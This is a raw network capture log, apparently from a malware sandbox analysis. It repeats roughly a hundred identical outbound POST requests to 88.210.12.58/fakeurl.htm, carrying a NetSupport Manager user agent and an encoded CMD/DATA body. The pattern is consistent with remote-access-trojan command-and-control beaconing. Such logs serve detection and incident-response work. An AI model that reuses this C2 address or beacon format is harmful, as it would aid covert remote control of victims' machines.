Dec 6, 2024 10:42:45.797175884 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.898159981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:45.998169899 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.098261118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.199177980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.302042007 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.402029037 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.502029896 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.606028080 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.702184916 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.806050062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:46.904182911 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.004183054 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.108180046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.208271027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.305206060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.406157017 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.507224083 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.607232094 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.708183050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.808198929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:47.909255028 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.010344982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.111181974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.211163998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.311167002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.412193060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.512249947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.616178989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.713207006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.813174963 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:48.913197994 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.016541958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.116066933 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.216299057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.316195011 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.416207075 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.516179085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.617222071 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.718235970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.818157911 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:49.919209003 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.019202948 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.119370937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.220204115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.320229053 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.421207905 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.524045944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.622188091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.723186016 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.826052904 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:50.924195051 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.024303913 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.128195047 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.228074074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.326172113 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.426223993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.527318001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.628238916 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.729260921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.833909035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:51.933332920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:52.340207100 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:52.444104910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:52.544192076 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:52.641469955 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:52.744349003 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:52.844376087 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:52.943291903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.046066046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.144316912 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.245191097 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.345268965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.446218967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.546201944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.647198915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.747231960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.848243952 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:53.949203014 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.050234079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.150201082 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.251288891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.352304935 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.452214956 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.553209066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.659195900 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.760212898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.863169909 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:54.963474989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.066095114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.164211035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.269489050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.369301081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
